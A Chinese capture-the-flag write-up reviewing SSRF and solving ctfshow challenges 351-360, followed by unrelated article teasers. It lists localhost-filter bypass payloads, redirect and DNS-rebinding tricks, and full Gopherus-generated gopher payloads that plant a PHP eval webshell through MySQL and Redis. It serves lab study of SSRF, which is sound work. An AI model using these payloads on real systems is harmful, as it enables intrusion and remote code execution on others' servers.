ssrf复习(及ctfshow351-360)

1. SSRF 概述

服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL,Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造"的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

SSRF漏洞主要出现在需要从服务器向其他资源发送请求的应用程序中,例如图片处理、文件下载、URL 转发等。其中被攻击的目标系统通常位于服务器的内部网络。

ssrf产生原理:

服务端存在网络请求功能/函数,例如:file_get_contens()这一类类似于curl

这种函数传入的参数用户是可控的

没有对用户输入做过滤导致的ssrf漏洞

ssrf利用:

用于探测内网服务以及端口

探针存活主机以及开放服务

探针是否存在redis服务(未授权访问, 相当于是可以访问到redis服务并且开发人员不严谨没有设置密码,  因为默认是没有密码的,  或者说开发者设置了密码但是是弱口令),  利用定时任务反弹shell

思维导图

Web351

代码解释:

<?php  

// 开启PHP的错误报告,但这里设置为0,即关闭所有错误报告。这通常不推荐在生产环境中使用,因为它会隐藏所有错误和警告。  

error_reporting(0);  

// 使用highlight_file函数高亮显示当前PHP文件的源代码。这通常用于教学或调试目的,但在生产环境中可能会暴露敏感信息。  

highlight_file(__FILE__);  

// 从POST请求中获取名为'url'的参数值,并将其存储在变量$url中。  

$url=$_POST['url'];  

// 初始化一个新的cURL会话,并将之前获取的URL作为参数传递给curl_init函数。  

$ch=curl_init($url);  

// 设置cURL选项,关闭cURL请求头信息的输出。这意味着cURL不会返回HTTP头部信息,只返回主体内容。  

curl_setopt($ch, CURLOPT_HEADER, 0);  

// 设置cURL选项,将CURLOPT_RETURNTRANSFER设置为1,这意味着cURL执行的结果(即请求的响应)将被作为字符串返回,而不是直接输出。  

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

// 执行cURL会话,并将结果存储在变量$result中。  

$result=curl_exec($ch);  

// 关闭cURL会话并释放所有资源。  

curl_close($ch);  

// 输出cURL请求的结果(即请求的响应内容)。  

echo ($result);  

?>

函数解释:

1.curl_init()   初始化cURL,返回资源给$ch

2.curl_setopt() 设置一个cURL传输选项

bool curl_setopt ( resource $ch , int $option , mixed $value )

参数一:curl资源 参数二:设置的请求选项 参数三:请求选项的值

CURLOPT_HEADER         启用时会将头文件的信息作为数据流输出。

URLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

3.curl_exec()执行cURL资源,并传递给浏览器

4.curl_close()关闭cURL资源

Payload

url=http://127.0.0.1/flag.php

Web352

代码解释:

<?php  

// 关闭PHP的错误报告  

error_reporting(0);  

  

// 高亮显示当前PHP文件的源代码,这通常不应在生产环境中使用  

highlight_file(__FILE__);  

  

// 从POST请求中获取名为'url'的参数值  

$url=$_POST['url'];  

  

// 使用parse_url函数解析URL,并将结果存储在$x数组中  

$x=parse_url($url);  

  

// 检查URL的协议是否为'http'或'https'  

if($x['scheme']==='http'||$x['scheme']==='https'){  

    // 尝试使用正则表达式检查URL是否不包含'localhost'或'127.0.0'(注意:这里只检查了'127.0.0'的前缀,没有完整的IP地址检查)  

    // 但是,preg_match函数的调用方式不正确,因为它没有指定完整的模式字符串和待匹配的字符串  

    // 正确的调用应该是preg_match('/localhost|127\.0\.0\./', $url)  

    if(!preg_match('/localhost|127.0.0/')){  

        // 如果URL通过了协议和本地地址的检查,则初始化cURL会话  

        $ch=curl_init($url);  

          

        // 设置cURL选项以关闭头部信息的输出并返回结果作为字符串  

        curl_setopt($ch, CURLOPT_HEADER, 0);  

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

          

        // 执行cURL请求,并将结果存储在$result中  

        $result=curl_exec($ch);  

          

        // 关闭cURL会话  

        curl_close($ch);  

          

        // 输出cURL请求的结果  

        echo ($result);  

    }  

    else{  

        // 如果URL包含'localhost'或'127.0.0'(尽管由于正则表达式的问题,这个检查可能不准确),则终止脚本执行  

        die('hacker');  

    }  

}  

else{  

    // 如果URL的协议不是'http'或'https',则终止脚本执行  

    die('hacker');  

}  

?>

正则绕过127.0.0.1

编码绕过:

payload:

url=http://0x7f.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0.0.0.0/flag.php        0.0.0.0代表本机

url=http://0x7F000001/flag.php   16进制地址

url=http://2130706433/flag.php 10进制地址

url=http://127.1     简写

Ip地址转换器地址

IP地址进制转换本计算器可以在线进行IP地址的二进制、十六进制、十进制的互换。icon-default.png?t=N7T8https://tool.520101.com/wangluo/jinzhizhuanhuan/

Web353

匹配不包含 localhost 或以 127. 开头的 IP 地址(如 127.0.0.1)的 URL,您可以使用以下正则表达式

编码绕过:

payload:

url=http://0x7f.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0.0.0.0/flag.php        0.0.0.0代表本机

url=http://0x7F000001/flag.php   16进制地址

url=http://2130706433/flag.php 10进制地址

url=http://127.1/flag.php   简写

Web354

代码解释:

<?php  

// 关闭PHP的错误报告  

error_reporting(0);  

  

// 高亮显示当前PHP文件的源代码,这通常不应在生产环境中使用  

highlight_file(__FILE__);  

  

// 从POST请求中获取名为'url'的参数值  

$url=$_POST['url'];  

  

// 使用parse_url函数解析URL,并将结果存储在$x数组中  

$x=parse_url($url);  

  

// 检查URL的协议是否为'http'或'https'  

if($x['scheme']==='http'||$x['scheme']==='https'){  

    // 尝试使用正则表达式检查URL是否不包含'localhost'、'1'、'0'或字面量字符'。'(但这里的使用可能是错误的)  

    // 注意:这个正则表达式实际上会匹配任何包含'1'、'0'或'。'(后者可能是一个打字错误,意图可能是'.')的URL  

    if(!preg_match('/localhost|1|0|。/i', $url)){  

        // 如果URL通过了协议和正则表达式的检查,则初始化cURL会话  

        $ch=curl_init($url);  

          

        // 设置cURL选项以关闭头部信息的输出并返回结果作为字符串  

        curl_setopt($ch, CURLOPT_HEADER, 0);  

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

          

        // 执行cURL请求,并将结果存储在$result中  

        $result=curl_exec($ch);  

          

        // 关闭cURL会话  

        curl_close($ch);  

          

        // 输出cURL请求的结果  

        echo ($result);  

    }  

    else{  

        // 如果URL包含'localhost'、'1'、'0'或'。'(考虑到'。'可能是打字错误),则终止脚本执行  

        die('hacker');  

    }  

}  

else{  

    // 如果URL的协议不是'http'或'https',则终止脚本执行  

    die('hacker');  

}  

?>

法一

url=http://sudo.cc/flag.php

sudo.cc相当于127.0.0.1 

方法二(未解决)

302跳转

在自己的网站页面添加

<?php

header("Location:http://127.0.0.1/flag.php");

重定向到127

方法三(未解决)

DNS-Rebinding

自己去ceye.io注册绑定127.0.0.1然后记得前面加r

url=http://r.xxxzc8.ceye.io/flag.php

查看 profile

Web355

if((strlen($host)<=5))

要求host长度小于5位

url=http://127.1/flag.php

Web356

if((strlen($host)<=3)){

要求长度小于3位

url=http://0/flag.php

# 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

Web358

php复制代码

if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){

echo file_get_contents($url);

}

这段代码使用preg_match()函数来验证$url是否满足特定的正则表达式模式。这个

'^http:\/\/ctf\..*show$'意味着:

URL必须以http://开头。

紧接着必须是ctf.(不区分大小写,因为使用了i修饰符)。

然后是任意数量的任意字符(.表示任意字符,*表示前面的字符可以出现0次或多次)。

最后必须以show结尾。

如果URL满足这个模式,file_get_contents()函数将被调用,尝试获取该URL指向的内容,并将其输出到屏幕上。

payload:

url=http://ctf.@127.0.0.1/flag.php#show

url=http://ctf.@127.0.0.1/flag.php?show

Web359

登录抓包发现

u=Username&returl=https%3A%2F%2F404.chall.ctf.show%2F

存在ssrf

Gopher协议打MySQL

具体原理:CTF SSRF 漏洞从0到1 - FreeBuf网络安全行业门户

先下载Gopherus

git clone https://github.com/tarunkant/Gopherus.git

python gopherus.py

python2 .\gopherus.py --exploit mysql

username:root

写入一句话木马

select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01

对_再进行url编码

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2532%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

Web360

Payload生成:

python2 gopherus.py --exploit redis

<?php @eval($_POST['cmd']);?>

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

Url编码

url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/46291.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FPGA学习笔记(一) FPGA最小系统

文章目录 前言一、FPGA最小系统总结 前言 今天学习下FPGA的最小系统一、FPGA最小系统 FPGA最小系统与STM32最小系统类似&#xff0c;由供电电源&#xff0c;时钟电路晶振&#xff0c;复位和调试接口JTAG以及FLASH配置芯片组成&#xff0c;其与STM32最大的不同之处就是必须要有…

链表面试练习习题集(Java)

1. 思路&#xff1a; 因为杨辉三角是由二维数组构成&#xff0c;所以要先创建一个二维数组&#xff0c;如何用顺序表表示二维数组&#xff0c;可以通过List<List<Interger>>来表示一个二维数组&#xff0c;可以这样理解&#xff1a;先创建一个一维数组List&#x…

modbus slave 设备通过 网关thingsboard-gateway 将数据上传到thingsboard云平台

搭建thingsboard物联网云平台花了大量时间&#xff0c;从小白到最后搭建成功&#xff0c;折磨了好几天&#xff0c;也感谢网友的帮助&#xff0c;提供了思路最终成功搞定&#xff0c;特此记录。 一、thingsboard环境搭建&#xff08;Ubuntu20.04LTS&#xff09; 参考官方文档&a…

java之 junit单元测试案例【经典版】

一 junit单元测试 1.1 单元测试作用 单元测试要满足AIR原则&#xff0c;即 A&#xff1a; automatic 自动化&#xff1b; I: Independent 独立性&#xff1b; R&#xff1a;Repeatable 可重复&#xff1b; 2.单元测试必须使用assert来验证 1.2 案例1 常规单元测试 1.…

PSINS工具箱函数介绍——r2d

介绍工具箱里面r2d这个小函数的作用。 程序源码 function deg r2d(rad) % Convert angle unit from radian to degree % % Prototype: deg r2d(rad) % Input: rad - angle in radian(s) % Output: deg - angle in degree(s) % % See also r2dm, r2dms, d2r, dm2r, dms2r% …

多种方式实现 元素高度丝滑的从0-1显示出来

选择合适的方式&#xff0c;给用户更好的体验&#xff0c;多种方式实现 元素高度丝滑的从0-1显示出来。 能用 CSS 实现的动画&#xff0c;就不要采用 JS 去实现。 1、浏览器可以对CSS动画进行优化&#xff0c;其优化原理类似于requestAnimationFrame&#xff0c;会把每一帧的…

appium2.0 执行脚本遇到的问题

遇到的问题&#xff1a; appium 上的日志信息&#xff1a; 配置信息 方法一 之前用1.0的时候 地址默认加的 /wd/hub 在appium2.0上&#xff0c; 服务器默认路径是 / 如果要用/wd/hub 需要通过启动服务时设置基本路径 appium --base-path/wd/hub 这样就能正常执行了 方法二…

mysql的索引事务和存储引擎

一、索引 1、索引 索引的概念 &#xff1a;索引是一个排序的列表&#xff0c;在列表当中存储索引的值以及索引值对应数据所在的物理行。 索引的引用&#xff1a; 使用索引之后&#xff0c;就不需要扫描全表来定位某行的数据。 加快数据库的查询速度。 索引可以是表中的一…

在 K8s 上使用 KubeBlocks 提供的 MySQL operator 部署高可用 WordPress 站点

引言 WordPress WordPress 是全球最流行的内容管理系统&#xff08;CMS&#xff09;&#xff0c;自 2003 年发布以来&#xff0c;已成为网站建设的首选工具。其广泛的插件和主题生态系统使用户能够轻松扩展功能和美化外观。活跃的社区提供丰富的资源和支持&#xff0c;进一步…

[RK3588-Android12] 关于如何取消usb-typec的pd充电功能

问题描述 RK3588取消usb-typec的pd充电功能 解决方案&#xff1a; 在dts中fusb302节点下usb_con: connector子节点下添加如下熟悉&#xff1a; 打上如下2个补丁 diff --git a/drivers/usb/typec/tcpm/tcpm.c b/drivers/usb/typec/tcpm/tcpm.c index c8a4e57c9f9b..173f8cb7…

使用OpenCV寻找图像中的轮廓

引言 OpenCV&#xff08;Open Source Computer Vision Library&#xff09;是一个开源的计算机视觉和机器学习软件库。它提供了大量的视觉处理功能&#xff0c;包括图像和视频捕获、特征检测与匹配、图像变换、图像分割、颜色空间转换等。在图像处理中&#xff0c;寻找图像中的…

electron项目中实现视频下载保存到本地

第一种方式&#xff1a;用户自定义选择下载地址位置 渲染进程 // 渲染进程// 引入 import { ipcRenderer } from "electron";// 列表行数据下载视频操作&#xff0c;diffVideoUrl 是视频请求地址 handleDownloadClick(row) {if (!row.diffVideoUrl) {this.$message…

【数字电路学习新助手】掌握电路仿真软件,开启数字电路知识的新篇章

在信息科技日新月异的今天&#xff0c;数字电路知识的重要性不言而喻。无论是通信工程、计算机科学与技术&#xff0c;还是电子信息技术等领域&#xff0c;数字电路都是基础中的基础。然而&#xff0c;对于初学者来说&#xff0c;数字电路的学习往往充满了挑战。幸运的是&#…

Axure中继器入门:打造你的动态原型

前言 中继器 是 Axure 中的一个高级功能&#xff0c;它能够在静态页面上模拟后台数据交互的操作&#xff0c;如增加、删除、修改和查询数据&#xff0c;尽管它不具备真实数据存储能力。 中继器就像是一个临时的数据库&#xff0c;为我们在设计原型时提供动态数据管理的体验&a…

中职省培丨2024年大数据技术中职教师专业技能培训班企业参观实践圆满结束

7月17日&#xff0c;“2024年大数据技术中职教师专业技能培训班&#xff08;省培&#xff09;”参训老师莅临广东泰迪智能科技股份有限公司产教融合实训中心开展企业参观实践。泰迪智能科技董事长张良均、中职业务部总监李振林、中职业务部经理黄炳德、校企合作经理吴桂锋及来自…

.net core appsettings.json 配置 http 无法访问

1、在appsettings.json中配置"urls": "http://0.0.0.0:8188" 2、但是网页无法打开 3、解决办法&#xff0c;在Program.cs增加下列语句 app.UseAntiforgery();

vue 如何做一个动态的 BreadCrumb 组件,el-breadcrumb ElementUI

vue 如何做一个动态的 BreadCrumb 组件 el-breadcrumb ElementUI 一、ElementUI 中的 BreadCrumb 定义 elementUI 中的 Breadcrumb 组件是这样定义的 <template><el-breadcrumb separator"/"><el-breadcrumb-item :to"{ path: / }">主…

修改文件的默认打开方式

修改文件的默认打开方式 选中文件&#xff0c;右击&#xff0c;选择属性&#xff0c;如图然后点击更改&#xff0c;选择想要的打开方式&#xff0c;再依次点击 应用、保存 即可&#xff0c;如图

Redis中数据分片与分片策略

概述 数据分片是一种将数据分割并存储在多个节点上的技术&#xff0c;可以有效提高系统的扩展性和性能。在Redis中&#xff0c;数据分片主要用于解决单个实例存储容量和性能瓶颈的问题。通过将数据分散存储到多个Redis节点中&#xff0c;可以将负载均衡到不同的服务器上&#…

Visual Studio使用——在vs中给vb.net项目添加新的窗口:新建的方式、添加已有窗口的方式

目录 引出Visual Studio使用vb添加新的窗体自定义代码片段vs显示所有文件 总结Idea安装和使用0.Java下载 和 IDEA工具1.首次新建项目2.隐藏文件不必要显示文件3.目录层级设置4.Settings设置选择idea的场景提示代码不区分大小写 取消git的代码作者显示 引出 Visual Studio使用—…